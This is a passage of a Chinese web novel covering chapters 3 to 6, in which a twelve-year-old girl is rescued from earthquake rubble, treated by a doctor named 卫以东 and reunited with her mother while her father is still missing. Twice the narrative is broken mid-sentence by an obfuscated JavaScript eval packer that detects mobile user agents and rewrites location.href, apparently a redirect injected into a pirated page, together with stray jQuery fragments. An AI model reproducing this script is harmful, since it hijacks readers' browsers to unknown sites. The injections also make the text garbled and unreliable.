《我成为你》 3. 火把 男人十分有边界感。 把她从那堆废墟里救出来时,发现她没穿衣服,正浑身赤·裸的挨冻,还专门闭起眼睛,把自己的白大褂解下来裹到她身上。 等最后一颗扣子系好,他才睁开那双狭长黝黑的眼,隔着一层薄薄的面料把她打横抱起来,动作轻柔地放到紧随其后而来的担架上。 随后。 半分没有留恋的就要转身,去营救其他人。 祁寂平躺在担架上,被冻到满脸苍白,有气无力,尽管如此,她还是费劲的抬起颤抖个不停的手,力气极小的拽住他马上就要撤离的湿冷衣角,阻拦他离去的动作。 青紫干裂的唇瓣相碰间,她用气音说出:“爸爸...妈妈...还在......” “交给我,我会把她们都救出来的,”男人回头瞥了眼她满是发炎伤口的小手,不忍心强硬地上手拽开,只声音夹杂着清冽道:“现在,乖乖放手,去接受治疗。” “你...一定会——” “——我一定会,相信我。” 他这句话说得实在太过于坚定,再配上他那张毫无表情的英俊脸庞,有说服力到想让她不相信都不行,她抿抿唇,眼角再次滑落泪水时,听话地松开了紧攥着他衣角的手。 几乎是眨眼的瞬间,他就消失不见。 仿佛从来没有出现在她的生命里。 从他手中接过她的是一位看起来不算很年轻的女医生,不是说她长得老或者不好看,只是她的脸颊粗糙,表情凝重,看起来是一位很有经验的老资历医生。 这种感觉,在她动作麻利的为她做全身检查时,就变得更加浓厚—— “手臂骨折,手掌骨裂,轻微脑震荡,我马上准备给你手术,可能有点痛,需要你忍一忍,”薄茧遍布的双手抚摸过她沾满污秽的身体,时不时摁捏几下,问她这里疼不疼,是怎么个疼法,不多时,她就做出了合理诊断,边替她处理伤口边放轻声音跟她讲:“幸好你当时聪明,用手挡住了后脖子,没让天花板直接砸到你的颈椎上,不然现在就不是骨裂这么轻的事情了。” 祁寂聆听着她温柔的声音,却不由感觉到一阵后怕。 “如果没...挡住的话......”她哆嗦着身体,乖乖躺在担架上,小心翼翼地抬眼问她:“......我会死吗?” “乖啦,就算没挡住,我们也会拼命全力把你救过来的。” “真的...吗......?” “真的。好啦,伤口都处理好了,接下来,你不对利多卡因过敏吧?” “......利多卡因是什么?” 女医生侧头看她,极富有耐心的为她解释道:“简单来讲就是麻药,你之前在医院里做过手术吗?” “没有,”祁寂仔细回想了一下,轻轻摇头,“我没做过手术,也没打过麻药。” “好,那我先给你做个皮试,看看你过不过敏。” “过敏我会怎么样?会死——” “——不会死,只是会有点痛,”女医生给她手臂上勒起皮筋带,用沾满酒精的棉球不停消着毒,似是看出她眼底的害怕,她轻轻拍了拍她的手腕,柔声细气的宽慰道:“放心,你已经活下来了,不会死的,不用害怕了,相信我,嗯?我肯定会治好你的。” 冰冷的针头扎破皮肉将少量液体注射进皮下,在手腕上迅速鼓出一个小包,她看了眼那个丑丑的小包,咬住下唇对女医生点头。 意思是:我相信你。 女医生因为她的信任扬起一道靓丽的笑容。 她快速撤出针管,看了眼那个鼓包,轻声问她痛不痛。祁寂乖乖摇头,说“不痛”,她俯身过来摸摸她的头,对她说:“那就好。等十五分钟,十五分钟之后我再回来看你,在此之前,乖乖躺在这里不能动,嗯?” 祁寂颔首同意,不忘细若蚊蝇地问:“姐姐,你要去哪?” “我先去看看其他人。救援队还没过来,我们现在又要救人又要治病的,很缺人手,所以一个人得掰成十瓣用。” “好吧......” “乖啦,我一会儿就回来看你。” “好。” 女医生快步离开后,她才又转眼去瞧那个鼓包。 手腕上的小鼓包依旧没有消下去,还跟之前一样明显,却并不痛,只是偶尔会有点轻微的不舒服感。 她呆呆的望着简易的深绿色棚顶发呆,听着雨滴不断敲打在棚顶时产生的“啪啦啪啦”的声音,感觉一直以来紧绷着的心脏终于慢慢变得轻松起来,不再像被绞紧那么难受。 一边在担心父母的安危,一边又在想那个男人现在在干什么。 是在废墟里救人,还是在给别人治病...... 正这么想着,耳畔忽然传来一阵喧嚣嘈杂的声音。眼神重新聚焦,她歪过头去看,是几个躺在担架上又被架进来的人,她们的身上也跟她一样,遍布着大大小小的伤口,有些凝固,有些发炎,还有些皮肉都被彻底翻开,将森森白骨暴露在外面,看起来血腥又恐怖。 她没忍住的反胃,差点呕吐出来。 却因为这几天一直被压在废墟下都没能吃什么东西,胃里除了雨水早就变得空空如也,而无法呕吐出除了酸水以外的任何固体物。 别开视线独自平复了一会儿,才把翻涌而上的酸水憋回去。 这才后知后觉的反应过来—— 这些被救出的人里,并没有她父母的面孔。 不禁更加担心她们安危的同时,也诡异地稍稍松了口气—— 地震发生时,她的父母应该都还在室外的露天泳池里玩,有足够的时间能够避开建筑的轰然坍塌,逃到安全的地方去。 所以她们现在没能出现在这里,大概率代表着: 其实她们并没有出事,只是一时之间还没有找到她在这里而已。 这么想着,这么安慰着自己,祁寂才感觉心里又好受了一些,正当她想着,等等那个女医生回来她可以问问她时,墨绿色的简易帐篷里又走进来两、三个人。 打头的。 正是刚刚救她的那个男人。 男人的眉眼间显而易见地染上疲惫之意,垂落在身侧的手上也多出许许多多斑驳的伤口,大概是认出了她,他抬手制止住旁边正跟他叽里呱啦个不停的吵闹洋人,抬步朝她这边走来。 随着他越来越近的脚步,祁寂也不受控制的紧张起来。 天知道,她真的很想抬起手来整理一下贴在脸颊上的凌乱头发,好让自己看起来就算不是美如天仙,也不至于狼狈到让他无从下眼。 只可惜。 别说整理仪容仪表了,她就连抬一下手臂都无法做到。 仅仅能作为一只待宰的羔羊般,一动不动的躺在担架上注视他一路走过来,然后就这么驻足到她面前。 他微垂眼睫,令纤长的睫毛在眼睑下方打下一片阴鸷的暗影,掩盖了眼底的大部分情绪。他扫了眼她裸露在外面、却已经得到妥善处理的伤口,这才蓦然出声,直截了当地问她:“接你的那个女医生呢?” “她...她...”因着他不躲不避的直勾勾注视,让她紧张到不能自已,因此,说起话来磕磕绊绊的,好半天才将一句话完整的说完,“她出去了。” “她说你情况怎么样?” “手,手臂骨折,手掌,那个,骨裂......” “她没给你做手术?” “不,不是,她怕我麻药过敏,就......” 不等她把话说完,他就已经猜出到底是个什么情况。 “好,我知道了,”他没再跟她多废话,绕过担架径直走到她那只鼓包明显的手腕一侧,轻轻捏住她凹下的腕骨看了一眼鼓包情况,就抬头冲帐篷口处喊道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405106|168736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “Peter!准备手术!” “Yes,sir!”那位名叫peter的洋人遥遥应道。 须臾之间。 祁寂又紧张到身体开始细微颤抖。 她既想看他,又不太敢看他,更怕被他发现她在看他,在这几种不同的极端情绪融合拉扯之下,她微微眯开因为紧张到过分而闭上的眼睛,偷偷摸摸地去看他刚硬有力的背影,一边在心里怒骂自己跟个痴汉一样,一边又安慰自己:爱美之心人皆有之,是他长得太帅了,不能怪她花痴。 这么想着,模糊视野中的他突然有所动作。 吓得她立马又火急火燎的闭上眼睛,试图假装自己刚刚什么都没干。 俨然将做贼心虚四个字表现得淋漓尽致。 卫以东配好麻药,转过身来准备给她注射,还没等排空针管前的空气,他的余光先瞥到她颤抖个不停的眼睫,和她紧咬不松的唇瓣,既像害怕,又像是做了什么见不得人的事情。 可爱的略显滑稽。 心下失笑的同时,他将细长的银针斜斜刺入她筋脉明显的血管之中,动作又快又干脆,不等她有所察觉,麻药已经尽数注射进她的身体。 随着血液流动的速度迅速发挥作用。 让她再次昏睡了过去。 在这段毫无意识的时间里,卫以东他们到底对她做了什么她完全一无所知,甚至在醒过来后,脑袋里的第一反应都不是先去看看自己骨折的左手是不是已经被治疗好了,而是—— 那个女医生不是说会有点痛吗?她怎么一点感觉都没有? 难不成卫以东给她打了什么不一样的东西? 没有给她任何的思考时间,女医生的询问声率先闯进耳蜗,打在她迷茫不已的神经上,一定程度唤回了她的理智,“hello?小美女,醒了?感觉怎么样?难受吗?” 祁寂张了张嘴,却说不出任何话来。 只得悻悻地闭上嘴巴。 女医生见她连话都暂时说不出来,略显抱怨的言语更加喋喋不休起来,“卫以东也真是的!骨折打局麻就好了,非要给你打全麻!也不知道他是怎么想的!简直就是独裁,专制,仗着自己有本事就胡作非为!” 她静静承受着她格外唠叨的言语洗礼,眨眨眼,别的话都没能听进耳朵里,只有一个词除外—— 卫以东。 这就是那个男人的名字吗? 还怪好听的。 不过也不知道到底是哪个wei,哪个yi,哪个dong,她很想现在就开口问问女医生,却发现自己还是没办法发出一点声响来,只好把即将破口而出的心事重新咽回肚子里,决定等之后不是哑巴了再找机会问。 但女医生显然是误解了她的意思。 见她又想张口说话,还以为是她感觉到哪里难受了,急忙放下手里的东西弯腰过来,眉眼紧张的问她:“怎么了?是不舒服吗?” 祁寂顿了下,轻轻对她摇头。 她这才放下心来,唇角微微抻起,没好气的长叹了一口,估计是心里对卫以东的不满达到了极点,只是碍于找不到他本人发泄,所以才试图通过这种代表泄愤的行为来纾解自己的不爽情绪。 她这么暗自琢磨着,一个没忍住,突然轻轻笑出声来。 而那位女医生,在听到她轻微的笑声后,先是愣了一下,随后,才活动了一下隐隐发僵的脖子,用手掌扶着后颈跟她一起会心笑道:“真好,看你还能笑出来,我就放心了。” “以后没事多笑笑,笑起来多好看啊。” “跟个火把似的。” 虽然长夜将至,暴雨未停。 但只要她们的脸上都能出现这种灿烂而明亮的笑容,就足以点燃她们心底那颗足以燎原的星星之火。 让她们的疲惫尽褪,重新提起干劲儿来。 共同期待着曙光终将降临。 4.彩虹 救援工作一刻没有停下过。 自那场手术之后,祁寂便没再怎么看到过卫以东的身影,有关于他少得可怜的动向,还全都是从那位女医生口中得知的。 虽然基本都是抱怨,但不难从中听出: 卫以东是一个很有本事、很有主见、很有领袖风范的男人。 不仅在医术方面的造诣十分了得,就连在灾后救援方面的能力,也跟专业救援队的人员不差上下。 具体可见她跟她分享的八卦—— “其实卫以东他刚上大学的时候,选的并不是医学专业,而是警察,后来不知道怎么的,估计是鬼抽风了,连夜爬起来跟系主任打报告,说他要转医学专业。” “......” “你要说他这人,真不愧是做什么都像样子,就算是半路出家,也照样能登峰造极,这不?本硕博一路读上来,就在所有人都以为他要按部就班地进协和,然后一路顺风顺水的往上升的时候,他倒好,直接说自己要来当无国界医生,谁都拦不住。” “......” “不过吧,小奇迹,姐姐跟你说句心里话哈:在我心里,其实真的很庆幸卫以东能加入进来,有他在的这段时间,就像给我们团队扎了一根定海神针。无论发生什么事情,只要有他带头冲锋,我们就觉得,再困难、再艰辛都能坚持下去。” 彼时。 她正面不改色地给患者缝合露骨的伤口。 而祁寂,作为她的“御用小跟班”,吊着一条半废的左胳膊,亦步亦趋地守在她身旁,用另一只完好无损的右手给她递需要的工具。 一递一接,一还一放,动作流畅,配合默契,任哪个不知情的人来了看到都会以为: 她俩已经这么默契配合很久了。 只有祁寂心里清楚—— 她只是觉得干躺在担架里太无聊,又太想从女医生口中撬出更多关于卫以东的信息,所以才会这么一反常态的大献殷勤。 结果也不失她所望。 经过这一整个漫长的夜晚,她又了解了卫以东很多。 比如,他在她们这个十二人的小团队里很受尊重,很得喜欢,很被崇拜;比如,在之前的战争中,有个人身中12枪,所有人都以为那人注定要没命了,是卫以东硬生生把他从鬼门关里拉回来的;再比如,卫以东16岁跳级上大学,读了一年警察专业半路改读医学专业,5年本科加6年直博,再加1年多的实战,如今已经29岁了,还从没谈过一任女朋友...... 越了解,就越心动。 觉得这种男人简直比小说男主还带劲儿。 女医生放下缝合针,为缝合好的伤口处贴上大小适宜的棉片,一抬眼,就看到简易帐篷外的墨黑色中逐渐析出灰蓝调的亮光,为这杯盘狼藉的一方送来充满希望的光芒。 而被各种哀嚎喊痛声掩盖的雨声也早已消失殆尽。 一切,都曙光尽现。 又是新一天了。 “诶哟,感觉弯这么久的腰,肩背都硬化了。” 女医生高举双臂伸了个略显轻快的懒腰,温柔却不失专业性的目光在简易帐篷中扫视一圈儿,确认目前被营救出来的幸存者们全都得到了良好的救治,她这才终于打了个哈欠,放下手揽她肩膀,“走吧,小祁寂,我们出去看看。” “昨天下过暴雨,今天的朝霞应该会很好看的。” 正好祁寂早就想出去找找父母。 听她这么说,激动得不行,被她带着一路避开伤患们往帐篷外走,越临近帐篷口,心里就越发忐忑不安。 她默默攥紧右手拳头,很想做到不动声色,却因年纪太小而根本没办法良好控制外泄的情绪,还不等两人走出去,她心底的犹豫与害怕就被一旁的女医生及时察觉出来。 甚至可以说,是一览无余。 女医生用沾满血的手轻轻捏了捏她的肩,见她仰头看过来,她才略微弯腰与她对视。 目光里,全然是令人放松的安全感。 她双手都握上她的肩膀,与她面对面平视着,坚定与信念透过那双似水的眼睛笔直打进她心底,“别怕,小奇迹,你父母一定会没事的。” 惊慌之余,也让她心底的期冀几不可察地盖过担忧。 找回了一些不再摇摆的心神。 “可是...可是我都没——” “——没看见她们有时候并不是一件坏事儿。你知道吗?小奇迹,在我们心里,没消息就代表好消息,失踪者就代表幸存者,要时刻相信上天的慈悲,也要相信你父母求生的欲望与勇气,好吗?” “好吧......爸爸和妈妈一定会平安的!我相信!” “我也相信。” 小坎短坷几句话安慰不好,天灾人祸有时候都不用说话,或许只是一个坚定的眼神,一个有力的行为,就足以抚平人内心的躁动不安。虽然祁寂心里的担忧仍然没有完全放下,但经过女医生这么一说,已经好了很多,不再像之前那般纠结内耗。 她闭了闭轻颤的眼皮,再睁开,眼底的脆弱瞬间消失了多半。 “我们走吧,姐姐,”甚至,她还从她手下挣脱开,重新回到她身边,用细若无骨的右手牵上她满是干涸血渍的手,主动对她漾起甜甜的笑意,“再晚一点可能就看不到日出了。” 女医生眼神波动。 不多时,她收拢指节握紧她的手,跟她一起走出帐篷。 帐篷外的光景不可谓不惨痛。 漂亮精致的度假村在一夜之间被移为平地,尘土飞扬间,钢筋支支条条的暴露在其中,长的有,短的有,挂着衣服的有,晕开血渍的也有,甚至,还有一根笔直的穿透胸膛,将一个活生生的男人穿在上面,稍微一动,就是稀稀拉拉的血往下流。 两三个医生正围在他周围,救治的救治,打电话联系救援的打电话,每个人脸上都凝满她看不清的庄严与郑重。 血红刺入眼底,激得她眼球生疼。 泥土构建出的片状物被震碎成大一片、小一片的不规则形状,小的压大的,大的斜顶在小的上,五花八门,乱七八糟,远远看去,交叠重合成冰冷的废墟,可是,里面却有人在用石头敲出细微的声响,示意还有人被困在里面无法见到天日。 救援队还没来,手边的营救工具也不齐全。 可尽管如此。 卫以东还是双手叉腰,站在不远处,正操着一口流利地道的英式英语,在与众人商量着该怎么进去营救那些伤患。 就在这个时候。 天空中铺展开浩浩荡荡的朝霞,橙黄糅合着粉紫,伴随太阳逐渐升起的脚步,在这一方足以笼罩她们的幕布上泼出深浅不一的油画质地,在狠狠打了她们一巴掌的同时,又亲切热情地为她们展示出大自然最绚烂、最宏伟的画作。 磅礴,惊心动魄,让人想恨都恨不起来。 而卫以东。 发皱的黑衬衫被他松垮的别进裤腰里,勾勒出超绝身材比例的紧腿裤上嵌满尘土与血迹,狼狈,却足够蛊人心魄,不完美,却从头到脚都喷薄出令人血脉喷张的荷尔蒙张力。 他就那么侧对她们而立,一面浸在如此气势恢弘的日出之中,一面映入她们平井无波的瞳孔之内,眉眼凌厉,线条刚毅,笔挺的背脊中只夹严肃,却不见半分疲惫。 在这方足够澎湃而又悲壮的天地之间,光是笔直的站在那里,都能给人一种能够切身感受到的坚韧不拔的力量感。 仿佛只要有他在这,就连生死都不能称之为大事。 安全感爆棚得不像话。 尤其当peter满目担忧地望向他,用一口撇脚的中文对他讲“嘿,以东,睡觉吧,三天三夜,你承受不了的”,而他,就只捏捏眉心,用舌尖顶了下腮帮子,轻佻的、混账的、半开玩笑的与他玩颜色: “三天三夜?” “等这边的事情处理完,我让你知道什么叫做七天七夜的永动机。” “到时候可别叫着喊受不了。” 那模样,要多混蛋就有多玩世不恭。 迷人却不乏味。 周围听懂中文的都在笑,金头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不多时,他停下脚步,站在离她两步远的正前方,将那道含痞带笑的目光落在她身上。 见她没有任何反应,一副灵魂出窍的模样,他提起眼皮,冲一旁的女医生挑了道眼风,无声询问: 她这是怎么了? “啧,还不是你干的好事?”女医生双手抱臂,眼里对他的嫌弃与不满多到快要溢出来,“我说带她出来看看日出,换换心情,结果日出没看到,倒是听见你一个劲儿的开黄腔了。” “这不?给人吓着了。” “你说你也是,每天就不能有点正形?啊?长那么凶一张脸,当个高冷男不行吗?一天天的,越是危急时刻你越吊儿郎当,也不知道像什么样子。” 卫以东听完这话,好笑的挑了下右眉。 他没跟女医生解释什么,反而回正脑袋,双手叉腰地俯下身来,就那么强势又霸道的占据了她的整个视野。 “嘿,小不点。” 因着他不高不低的声音,祁寂骤然回神,眼神甫一聚焦,又因为发现他不知道什么时候已经离她这么近,近的几乎只要她再往前一点,就能亲上他一样,被吓得差点跳起来。 尖叫滚到喉咙眼,差一点就要爆发出来,却不知道为什么,怎么都没办法破音,比瞳孔剧烈收缩更快的,是她脸颊更加滚烫绯红的燥热感。 她下意识绷紧背脊,后退一步。 想离他远远的。 还不等她有所动作,就先看他唇角勾起一道又痞又浑的哂笑,与此同时,沉厚而富有魅力的磁性声音扑面向她打来。 他说:“我口中的七天七夜,是说为了救人我可以七天七夜不睡觉,不休息,而不是你脑袋里那些乱七八糟的东西。” “离那个姐姐远点,小心她带坏你。” 说完,他上手摸了摸她的脑袋。 随即背起一旁的医疗包,毅然决然地迎着天边弥漫出的七色彩虹,走进令人望而却步的废墟之中。 再不见踪影。 5.错觉 救援队终于把目光从人流密集的市区转移到这方鲜被问津的郊区。 当印有五星红旗的直升机携带物质降落,为这一方人烟稀少的灾区送上丰富的物资与大量的救援人员时,之前呆在帐篷里的病患们都纷纷闻声跑出来,前前后后的拥挤在帐篷口,自发地为前来救助他们的救援队送上经久不停的掌声与喝彩。 被钢筋串透胸腔的那个男人终于有救了。 连被切断的半截钢筋一起被送进简易手术室,简单验过血型后,主治医生大喊问有没有人是AB型血,血包不够,需要有人为病人输血。 祁寂想到自己好像就是AB型,正打算举手,不料,手才抬到一半,就被一旁的女医生一把摁下去。 她强硬无比的挡到她身前,身姿瘦小,言语却足够伟岸道:“我是,抽我的。” “姐姐!不要!”祁寂听她这么说,神色着急的拽上她的衣角,想劝住她:“你是医生,等等你还要——” “——你俩都别争了。” 临天亮时才被缝合好伤口的那个男人闻言,款款睁眼,从担架上一挺身坐起来,强势打断了两人之间的争抢,“我来。” 女医生愣了下,“你是AB型血?” 男人边往起站边脱外套,“如假包换,假一赔十。” 祁寂满眼崇拜,“哥哥,谢谢你——” 男人扔下外套,路过她时摸了把她的脑袋,“——不用谢。保护大美女和小美女,是男人义不容辞的责任。” 撂下这么一句半正义半留情的言语,他没再过多废话,绕过她们,大步流星的走向那间简易手术室,让医生查验血型是否匹配。 女医生意味深长的冲他离开的方向笑了下,自言自语道:“中国男人,就算平时再混蛋,真到危急关头,骨子里也还是有血性的。” 祁寂没听懂她这是什么意思。 不由昂头问她:“姐姐,你在说什么啊?” “没什么,”她把手掌放在她头顶,胡乱揉了两把,“我好像听到脚步声了,应该是又有遇难者被送来了。走吧,小奇迹,我们也该回岗位上继续奋斗了。” 短时间被三个人摸过头的祁寂抱住脑袋,“......” 心中暗暗惆怅: 这么天天被摸头她会不会以后长不高? 率先往前走的女医生见她还愣怔在原地,抱着脑袋不知道在想什么,不免失笑地又提醒一句:“小奇迹?” 祁寂立马回过神来,小跑过去。 “来了来了。” “......” 自从救援队来之后,救援工作的效率就得到了大幅度提升。 其实那天晚上祁寂住进来的时候就发现,选择来这方度假村歇脚游玩的人并不多,满打满算,应该都不会超过一百五十个人。 可就算如此。 这方简易的长条形帐篷还是很快就被伤残程度不一的伤患们占满。 一时间。 摩肩接踵,让她有点不知该从何下脚。 恰好,女医生看出她的拘谨,没再把她留在身边,而是让她去帐篷外问救援队领物资给大伙发。 本来以为无国界医生们带来的那些巧克力已经很难下咽了,直到发现物资箱里的食物也基本都是巧克力,和比巧克力更难下咽的压缩干粮,祁寂仰天长叹了一口气,抱起一把压缩干粮准备回帐篷里发给伤患们。 跌跌撞撞地避开灰头土脸的人们往帐篷里跑,不等她跑近,就先听到一道格外熟悉的声音在不远处响起: “你好,请问你们见过一个大概12岁的小女孩吗?” “大概这么高,中国人,很瘦,皮肤很白,眼睛圆圆大大的,说起话来——” 祁寂循声抬眼望去。 当看清楚正在找人的那个女人的面容的那一瞬间,她回抱的手臂就不受控制地松懈了力道。 怀里的压缩干粮纷纷扬扬地顺着卸力的手臂往下掉,此起彼伏的弹在地面上,又落到不远处,最终一点动静都没有,她就那么呆呆的站在原地,傻愣愣的盯着不远处明显沧桑不少的女人。 片刻间,眼底就晕起滚烫的泪水,哽咽道: “——妈妈?!” 她的声音不高,甚至可以说得上是细若蚊蝇,可就算这样,不远处的高雨晴还是细心的捕捉到她的哽咽,扭头朝这边看来。 漂亮妩媚的桃花眼与泪水肆溢的葡萄眼四目相对之时,高雨晴再无法按耐住自己内心翻涌滔天的情绪。她那么爱美、那么注重个人形象的一个女强人,眼下,竟然连鞋都来不及穿一个,就光脚踩在土石飞扬的地面上,踉踉跄跄地朝她飞奔而来。 几乎是几秒钟不到的时间。 祁寂就被蒙头摁进一方暖乎乎的怀抱里。 高雨晴弯腰紧紧将她抱入怀里,炙热滚烫的泪水接二连三地打在她穿着的白大褂上,很快就洇湿面料,一直融化进皮肤里。 她毫无形象可言的声泪俱下着,却是一句对她的抱怨都没有,只是约莫过了几分钟后,估计是发泄完心中的后怕与惊惧了,她这才抹了几把眼泪,拉开与她的距离,上上下下的开始检查她哪里受了伤。 祁寂也哭得不行。 除了害怕,更多的是一种失而复得的庆幸与激动。 虽然一直不断在心里告诫自己,其实爸爸妈妈一点事情都没有,是她自己在瞎担心,瞎给自己压力,可真当亲眼确认妈妈没事的这一刻,她还是没有办法绷住独自压抑了许久的情绪,沸反盈天地朝她宣泄出深藏心底的牵挂与后怕。 她就干站在那里嚎啕大哭着,任由她反反复复的扒拉她的身体,检查她身上还有没有受伤的地方。 确定除了被吊着的左手外,她再没有其他地方受伤,高雨晴仿佛劫后余生般再次把她拢进怀里,不停用手掌抚摸她的后脑勺,向她表达自己心里的害怕与内疚:“没事了...没事了,小奇迹,妈妈来了...这几天委屈你了,是妈妈没保护好你......对不起......” 祁寂埋在她怀里狂蹭眼泪。 一个劲儿的对她摇头,抽噎道:“不是的,妈妈...对不起,我不该乱跑......爸爸呢?妈妈?爸爸怎么没——” “——爸爸没事,别担心他。” “那我怎么,怎么没有看到他?” “...小奇迹。” “我要去看他!妈妈!你带我去看看爸爸!我要亲眼——!” “——祁寂!” 高雨晴见瞒不住她,偏过头去用手背擦擦眼泪,以一种格外无力的疲惫嗓音对她讲:“你乖乖听妈妈跟你说,别哭,也别闹,好吗?” 祁寂愣了下,呆呆点头。 心底弥漫起一股不详的预感。 下一秒。 这种预感就化作无比准确的言语,朝她席卷过来。 “地震的时候,妈妈想进去找你,爸爸不让,说我跑得没他快,力气没他大,然后......然后......妈妈其实,也还没找到爸爸,对不起,祁寂,是妈妈骗了——” 话都已经听到这里了,祁寂还有什么不懂的? 无非就是爸爸当时跑进去想救她,却因为建筑坍塌的速度过于快,导致他到底进没进去、进到哪里了、有没有被救出来这些问题一概都变成了令人忐忑不安的未知数。 这些未知数不仅在折磨着高雨晴,也在折磨着她。 但比起没有用的泪意更先进入祁寂脑海里的,是今早临出帐篷时医生姐姐跟她说的那番话。 以及,当初把她救出来时,卫以东跟她的保证。 所以她难得的没有再哭再闹,而是头一偏,牙一咬,用视线紧紧盯着不远处的灰尘与废墟,坚定而倔强地对她说:“没消息就代表好消息,妈妈,爸爸一定会没事的,我相信。” 高雨晴没想到她现在竟然这么懂事。 真的不哭又不闹,就安静又镇定地跟她说出这句话。 一时之间,也不知道该哭还是该笑,该庆幸还是该悲伤,她没再多说什么,展臂再次抱住了她,闭了闭眼,于眼泪滑下脸颊时,自欺欺人地回了她一句: “对,他一定会没事的。” “我也相信。” “......” 高雨晴并没有太大的事情。 地震时她们恰好刚从露天泳池里出来,离建筑物还有点距离,因此,当祁连伟把她推到身后独自冲进地动山摇的建筑物中时,她只是眼睁睁地看到建筑物在眨眼间坍塌成废墟,跌倒在地上哭成泪人,而没有受到任何皮·肉伤害。 现下,救援队带着丰富的物资过来,她也被安置到一间离她不远的帐篷里。 祁寂挨个捡起之前掉到地上的压缩干粮,重新抱回怀里,正想跟她进她那间帐篷里去看看,却不想,还没走两步,又感觉地面开始细微而频繁地摇晃起来。 不出半秒,她就判断出来—— 应该是余震。 再顾不上什么七七八八的,她拉起高雨晴的手就撒腿往空旷的地方跑,不等跑到一半,猝然间又想起什么,她一把拉住一个跟她擦肩而过的救援队队员,眉眼慌乱的跟他说:“卫以东!” “卫以东还在废墟里!你们快去救他!!!” 被她阻拦脚步的那个救援队队员不清楚卫以东是谁,停下 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她不懂。 不懂为什么卫以东为了救人可以三天三夜不睡觉,却在他切身经历余震时只能得到一句冷漠的、没有人情味可言的“非紧急避难人员没有被救的义务。” 她也不懂。 不懂为什么就连同为无国界医生的女医生,在听到卫以东可能出事的消息时,都仍然要求救援队员先救遇难人员,而不是卫以东,明明他跟她是一个队的,明明她跟他的关系那么要好啊...... 她是真的不懂。 也是真的没有办法理解她们的做法。 可说到底,她也不过只是一个连自己都保护不好的12岁的孩子,一只手还打着石膏不能动,如果不是这样的话,她想,她一定不会跟她们一样这么冷漠,一样就这么放着生死未卜的卫以东不管。 这一刻。 她突然就好希望自己能快点长大。 这样的话,就不会在面临眼下这种情况时,除了生气和无力以外,什么都做不了。 至少,至少,她也可以为卫以东做些什么...... 哪怕只有一星半点也好...... 可就在这个时候。 她忽然听到女医生的声音在耳边炸开。 “小奇迹,”她说:“卫以东不是一个人进去的,peter和steve都跟着他呢,不会出事的。况且,我是不是还有个事情没跟你讲过?是关于卫以东的。” 祁寂满脸是泪的望向她,抽鼻子,“什么?” “他曾经跟我们说过一句话:救人不是头脑一热就不管不顾地往上冲,而是在保证自己不受伤的前提下,有方法、有技巧的去救,如果一个救人者连自身的安全都无法保证,又怎么能够让被救者的安心?我觉得他这句话说的很对,你呢?” “他...他真的这么说过吗?” “骗人是小狗。小奇迹,我们要时刻相信卫以东会创造奇迹,毕竟他天天都从死神手里往回抢人,又怎么会在危急关头抢不回自己呢?对吧?” 祁寂听后,良久才止住泪水。 她脚踩在空旷无垠的平地上,头顶是随风飘扬的五星红旗,斜远处是为了冲进废墟里救人时刻整装待命的救援人员们,而正对面,是一字一句告诉她要相信卫以东会创造奇迹的他的战友。 多种让人倍有安全感的因素全都融合杂糅到一起,令她实在不知道该如何不去相信她们,不去相信这个世界上就是总会有奇迹发生。 而且,就是总会在她身边发生。 “你说得对,”她一把擦去脸上的泪水,郑重其事地对她点头,不再惊慌失措,而是时刻坚信,“卫以东他没有那么脆弱,他是敢从死神手里抢人的人,是总会创造奇迹的人,我应该相信他。” 女医生见她不再手忙脚乱,终于放下心来。 她就站在她身旁,目空一切的望向不远处停止余震的废墟,与她一同默默祈祷卫以东的平安无事,“看着吧,他肯定一会儿就出来了,不仅一点事没有,还会带出几个遇难者来,然后臭屁的到处跟人开黄腔。” “他那不是黄腔。” “是吗?我倒挺希望他是真的在开黄腔。” “为什么?” “当他那人会开黄腔的时候,就说明,是我出现幻觉了,也就证明,面前这所有的一切,都不是现实,只是一场梦。” “一场,我在和平时期做的杞人忧天的梦。” “一场,无事发生的梦。” 6.诺言 余震并不算剧烈。 一阵子勉强能够感受到的摇摇晃晃过后,一切都还是跟之前一样,平安,祥和,没有再出现多余的损失与伤亡。 高雨晴因为过于担忧祁连伟的安危,在精神与心脏的双重过度受压之下,眼睛一闭,就毫无征兆的昏了过去。 女医生给她诊断完,确认并无大碍,只是惊吓过度导致的短暂性晕厥,祁寂这才放下心来,将救援队发放的被子轻轻给她盖到身上,跟女医生走出帐篷,站在尘土飞扬的大地上,看救援队员们全副武装的逐一进入废墟里搜救。 计数组重新统计了一下人数,擦去白班上原先的数字,更改成更为准确的: 死亡人数:12 受伤人数:89 失踪人数:26 不远处有几个人正在合力把死者往冷冰冰的尸体袋里装,脸上的表情说不上悲怆,更说不上开心,就只是面无表情里裹挟一点沉重,再多的,就什么都没有了。 仿佛生命就是这样。 活着的时候说不上轻如鸿毛,死了之后也称不上重如泰山。 能永远铭记他们的,只有最亲近的亲人。 虽然在此之前,祁寂从来没有见过他们,也没有认识过他们,但是在这个当下,这个除了沉重就是压抑的当下,她还是控制不住的,为他们消散的生命湿润了眼眶。 她抬起手腕,擦了擦眼睛。 令本就红肿的眼睛变得更加肿胀,甚至隐隐发痛。 “又哭了?”女医生的神情也称不上有多好看,顶多可以说是见过太多类似场景后的略微麻木,她俯下身来,看她默默擦眼泪,“回去喝点水吧,小心等等给自己哭缺水。” 祁寂揉擦着眼睛,摇头拒绝。 就那么固执的站在原地,声音闷闷的问她:“姐姐,我能...能问你个问题吗?” “可以,你问吧。” “你...你是为什么,为什么选择当——” “——为什么选择来当无国界医生,是吧?” 